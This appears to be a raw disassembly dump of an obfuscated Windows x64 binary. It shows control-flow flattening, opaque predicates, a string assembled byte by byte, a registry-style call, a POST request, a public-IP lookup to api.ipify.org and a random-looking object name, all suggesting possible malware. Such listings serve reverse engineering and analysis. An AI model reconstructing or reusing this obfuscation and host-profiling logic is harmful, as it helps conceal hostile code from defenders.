mov rax, qword [rbp - 0x30]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x30]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x30]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x30]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x30]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x30]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x30]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x30]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x30]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x40]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140081b60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rbx
lea r8, str.POST
mov r9d, 0xffff
call qword [0x140087438]
add rsp, 0x40
mov eax, 0xc86aec51
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
mov rax, qword [rbp + 0x20]
mov rbx, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov r9, qword [rbp + 0x18]
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
mov rdx, rbx
mov r8d, 0xfa
call qword [0x140081fc8]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xef70d768
mov ebx, 0x45fe0dda
jmp 0x14002bc19
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd85c0155
and edx, 0x27a3feaa
or edx, ecx
mov ebx, edx
xor ebx, 0x27a3feaa
xor edx, 0x40140101
and edx, 0x6536e181
mov ecx, ebx
and ecx, 0x9ac91e7e
or ecx, edx
xor ecx, 0x9ac91e7f
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, dl
mov ecx, 0x4691cdf4
mov ebx, 0x699b28b9
cmovne ecx, ebx
test dl, dl
mov edx, 0x699b28b9
cmovne edx, ecx
mov ebx, dword [rbp - 0x74]
mov dword [rbp + 0x124], ebx
test al, al
cmovne edx, ecx
jmp 0x14002babc
mov eax, 0xf0418fbc
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp byte [rbp + 0xd7], 0
mov eax, 0x12d91e88
mov ecx, 0x530fd66a
jmp 0x14002bb92
mov eax, 0x54088e03
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0xe9c87653
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x92613878
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x91f1c498
and ecx, 0x6e0e3b67
or ecx, eax
mov eax, ecx
xor eax, 0x6e0e3b67
xor ecx, 0x80300018
and ecx, 0xa836295c
mov edx, eax
and edx, 0x57c9d6a3
or edx, ecx
xor edx, 0x57c9d6a2
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1a0413ff
and eax, 0xe5fbec00
or eax, ecx
xor eax, 0xe5fbec00
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov ebx, 0x2692d7ce
mov eax, 0xbf8f070a
cmovne ebx, eax
test dl, dl
mov eax, 0x2692d7ce
cmovne eax, ebx
test cl, cl
cmove eax, ebx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfe286b3
and edx, 0xf01d794c
or edx, ebx
xor edx, 0xfe286b2
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0x3f5b699e
mov ecx, 0x560b2e17
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0x3f5b699e
jmp 0x14002b9c2
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xdb387ac7
mov ebx, 0x43bd1054
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
test dl, dl
cmove eax, ecx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rbx, qword [rbp - 0x10]
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.https:__api.ipify.org_
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x140087230]
add rsp, 0x30
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
sete byte [rbp + 0xd5]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x96d6344a
and edx, 0x6929cbb5
or edx, ebx
xor edx, 0x6929cbb4
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x850114fe
mov edx, 0x9985e451
cmovne ecx, edx
test bl, bl
mov edx, 0x850114fe
cmovne edx, ecx
test al, al
cmove edx, ecx
mov eax, edx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp byte [rbp + 0x37], 0
mov eax, 0xce9bc144
mov ecx, 0x569c3993
jmp 0x14002bb92
movups xmmword [0x14008754a], xmm6
movaps xmmword [0x140087540], xmm6
movaps xmmword [0x140087530], xmm6
movaps xmmword [0x140087520], xmm6
movaps xmmword [0x140087510], xmm6
movaps xmmword [0x140087500], xmm6
movaps xmmword [0x1400874f0], xmm6
movaps xmmword [0x1400874e0], xmm6
movaps xmmword [0x1400874d0], xmm6
movaps xmmword [0x1400874c0], xmm6
movaps xmmword [0x1400874b0], xmm6
movaps xmmword [0x1400874a0], xmm6
movaps xmmword [0x140087490], xmm6
movaps xmmword [0x140087480], xmm6
movaps xmmword [0x140087470], xmm6
movaps xmmword [0x140087460], xmm6
sub rsp, 0x20
lea rcx, [0x140087460]
lea rdx, str.unknown
call fcn.140060c84
add rsp, 0x20
mov eax, 0xc0a967ba
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp byte [rbp + 0xe7], 0
mov eax, 0x45f84906
mov ecx, 0x405e9a4e
cmovne eax, ecx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x7928e3d4
and edx, 0x86d71c2b
or edx, ebx
xor edx, 0x7928e3d5
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xe21df71c
mov ebx, 0xb295a95
cmovne edx, ebx
test cl, cl
mov ecx, edx
cmovne ecx, ebx
test al, al
cmove ecx, edx
jmp 0x14002bd11
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x55730999
mov ebx, 0xc0e763fa
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x55730999
jmp 0x14002a730
mov eax, 0xdccd2622
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x473a0baf
and ecx, 0xb8c5f450
or ecx, eax
xor ecx, 0xb8c5f450
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xc415c598
mov ebx, 0x4b4e3054
cmovne ecx, ebx
test dl, dl
mov edx, 0xc415c598
cmovne ecx, edx
test al, al
cmove ecx, ebx
mov eax, ecx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, 0x1fe85f5e
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x6e69b02f
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, 0x4611b0af
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.kmdjdheyytgebfghehheneg
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140082010]
add rsp, 0x30
mov eax, 0x43bd1054
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0xd559dfd5
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
sub rsp, 0x20
call fcn.1400584f0
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x130]
lea rsp, [rbp + 0x148]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret